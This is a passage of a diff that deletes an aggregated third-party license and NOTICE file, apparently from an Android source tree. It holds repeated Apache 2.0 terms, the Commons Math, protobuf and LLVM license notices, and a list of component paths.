-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-APACHE COMMONS MATH DERIVATIVE WORKS: 
-
-The Apache commons-math library includes a number of subcomponents
-whose implementation is derived from original sources written
-in C or Fortran.  License terms of the original sources
-are reproduced below.
-
-===============================================================================
-For the lmder, lmpar and qrsolv Fortran routine from minpack and translated in
-the LevenbergMarquardtOptimizer class in package
-org.apache.commons.math.optimization.general 
-Original source copyright and license statement:
-
-Minpack Copyright Notice (1999) University of Chicago.  All rights reserved
-
-Redistribution and use in source and binary forms, with or
-without modification, are permitted provided that the
-following conditions are met:
-
-1. Redistributions of source code must retain the above
-copyright notice, this list of conditions and the following
-disclaimer.
-
-2. Redistributions in binary form must reproduce the above
-copyright notice, this list of conditions and the following
-disclaimer in the documentation and/or other materials
-provided with the distribution.
-
-3. The end-user documentation included with the
-redistribution, if any, must include the following
-acknowledgment:
-
-   "This product includes software developed by the
-   University of Chicago, as Operator of Argonne National
-   Laboratory.
-
-Alternately, this acknowledgment may appear in the software
-itself, if and wherever such third-party acknowledgments
-normally appear.
-
-4. WARRANTY DISCLAIMER. THE SOFTWARE IS SUPPLIED "AS IS"
-WITHOUT WARRANTY OF ANY KIND. THE COPYRIGHT HOLDER, THE
-UNITED STATES, THE UNITED STATES DEPARTMENT OF ENERGY, AND
-THEIR EMPLOYEES: (1) DISCLAIM ANY WARRANTIES, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO ANY IMPLIED WARRANTIES
-OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE
-OR NON-INFRINGEMENT, (2) DO NOT ASSUME ANY LEGAL LIABILITY
-OR RESPONSIBILITY FOR THE ACCURACY, COMPLETENESS, OR
-USEFULNESS OF THE SOFTWARE, (3) DO NOT REPRESENT THAT USE OF
-THE SOFTWARE WOULD NOT INFRINGE PRIVATELY OWNED RIGHTS, (4)
-DO NOT WARRANT THAT THE SOFTWARE WILL FUNCTION
-UNINTERRUPTED, THAT IT IS ERROR-FREE OR THAT ANY ERRORS WILL
-BE CORRECTED.
-
-5. LIMITATION OF LIABILITY. IN NO EVENT WILL THE COPYRIGHT
-HOLDER, THE UNITED STATES, THE UNITED STATES DEPARTMENT OF
-ENERGY, OR THEIR EMPLOYEES: BE LIABLE FOR ANY INDIRECT,
-INCIDENTAL, CONSEQUENTIAL, SPECIAL OR PUNITIVE DAMAGES OF
-ANY KIND OR NATURE, INCLUDING BUT NOT LIMITED TO LOSS OF
-PROFITS OR LOSS OF DATA, FOR ANY REASON WHATSOEVER, WHETHER
-SUCH LIABILITY IS ASSERTED ON THE BASIS OF CONTRACT, TORT
-(INCLUDING NEGLIGENCE OR STRICT LIABILITY), OR OTHERWISE,
-EVEN IF ANY OF SAID PARTIES HAS BEEN WARNED OF THE
-POSSIBILITY OF SUCH LOSS OR DAMAGES.
-===============================================================================
-
-Copyright and license statement for the odex Fortran routine developed by
-E. Hairer and G. Wanner and translated in GraggBulirschStoerIntegrator class
-in package org.apache.commons.math.ode.nonstiff:
-
-
-Copyright (c) 2004, Ernst Hairer
-
-Redistribution and use in source and binary forms, with or without 
-modification, are permitted provided that the following conditions are 
-met:
-
-- Redistributions of source code must retain the above copyright 
-notice, this list of conditions and the following disclaimer.
-
-- Redistributions in binary form must reproduce the above copyright 
-notice, this list of conditions and the following disclaimer in the 
-documentation and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS 
-IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED 
-TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 
-PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR 
-CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 
-EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 
-PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 
-PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 
-LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 
-NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 
-SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-===============================================================================
-
-Copyright and license statement for the original lapack fortran routines
-translated in EigenDecompositionImpl class in package
-org.apache.commons.math.linear:
-
-Copyright (c) 1992-2008 The University of Tennessee.  All rights reserved.
-
-$COPYRIGHT$
-
-Additional copyrights may follow
-
-$HEADER$
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-- Redistributions of source code must retain the above copyright
-  notice, this list of conditions and the following disclaimer. 
-  
-- Redistributions in binary form must reproduce the above copyright
-  notice, this list of conditions and the following disclaimer listed
-  in this license in the documentation and/or other materials
-  provided with the distribution.
-  
-- Neither the name of the copyright holders nor the names of its
-  contributors may be used to endorse or promote products derived from
-  this software without specific prior written permission.
-  
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT  
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT  
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
-===============================================================================
-
-Copyright and license statement for the original Mersenne twister C
-routines translated in MersenneTwister class in package 
-org.apache.commons.math.random:
-
-   Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura,
-   All rights reserved.                          
-
-   Redistribution and use in source and binary forms, with or without
-   modification, are permitted provided that the following conditions
-   are met:
-
-     1. Redistributions of source code must retain the above copyright
-        notice, this list of conditions and the following disclaimer.
-
-     2. Redistributions in binary form must reproduce the above copyright
-        notice, this list of conditions and the following disclaimer in the
-        documentation and/or other materials provided with the distribution.
-
-     3. The names of its contributors may not be used to endorse or promote 
-        products derived from this software without specific prior written 
-        permission.
-
-   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-   "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-   A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
-   CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
-   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
-   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
-   PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
-   LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
-   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-
-======================================================================
-external/protobuf/LICENSE
-
-Copyright 2008 Google Inc.  All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-    * Redistributions of source code must retain the above copyright
-notice, this list of conditions and the following disclaimer.
-    * Redistributions in binary form must reproduce the above
-copyright notice, this list of conditions and the following disclaimer
-in the documentation and/or other materials provided with the
-distribution.
-    * Neither the name of Google Inc. nor the names of its
-contributors may be used to endorse or promote products derived from
-this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-Code generated by the Protocol Buffer compiler is owned by the owner
-of the input file used when generating it.  This code is not
-standalone and requires a support library to be linked with it.  This
-support library is itself covered by the above license.
-
-======================================================================
-external/clang/NOTICE
-
-==============================================================================
-LLVM Release License
-==============================================================================
-University of Illinois/NCSA
-Open Source License
-
-Copyright (c) 2007-2014 University of Illinois at Urbana-Champaign.
-All rights reserved.
-
-Developed by:
-
-    LLVM Team
-
-    University of Illinois at Urbana-Champaign
-
-    http://llvm.org
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal with
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-    * Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimers.
-
-    * Redistributions in binary form must reproduce the above copyright notice,
-      this list of conditions and the following disclaimers in the
-      documentation and/or other materials provided with the distribution.
-
-    * Neither the names of the LLVM Team, University of Illinois at
-      Urbana-Champaign, nor the names of its contributors may be used to
-      endorse or promote products derived from this Software without specific
-      prior written permission.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
-SOFTWARE.
-
-==============================================================================
-The LLVM software contains code written by third parties.  Such software will
-have its own individual LICENSE.TXT file in the directory in which it appears.
-This file will describe the copyrights, license, and restrictions which apply
-to that code.
-
-The disclaimer of warranty in the University of Illinois Open Source License
-applies to all code in the LLVM Distribution, and nothing in any of the
-other licenses gives permission to use the names of the LLVM Team or the
-University of Illinois to endorse or promote products derived from this
-Software.
-
-The following pieces of software have additional or alternate copyrights,
-licenses, and/or restrictions:
-
-Program             Directory
--------             ---------
-<none yet>
-
-
-======================================================================
-system/security/NOTICE
-
-
-   Copyright (c) 2008-2015, The Android Open Source Project
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-
-======================================================================
-build/blueprint/LICENSE
-external/auto/LICENSE
-external/bcc/LICENSE
-external/conscrypt/LICENSE
-external/dexmaker/NOTICE
-external/escapevelocity/LICENSE
-external/guava/NOTICE
-external/guice/NOTICE
-external/jarjar/NOTICE
-external/javapoet/LICENSE
-external/libphonenumber/NOTICE
-external/objenesis/NOTICE
-external/oboe/LICENSE
-external/oboe/NOTICE
-external/rappor/LICENSE
-external/turbine/LICENSE
-hardware/interfaces/NOTICE
-system/bpf/NOTICE
-system/bt/NOTICE
-system/connectivity/wificond/NOTICE
-system/libhidl/NOTICE
-system/libhwbinder/NOTICE
-system/libvintf/NOTICE
-system/media/NOTICE
-system/netd/NOTICE
-system/tools/hidl/NOTICE
-system/update_engine/NOTICE
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
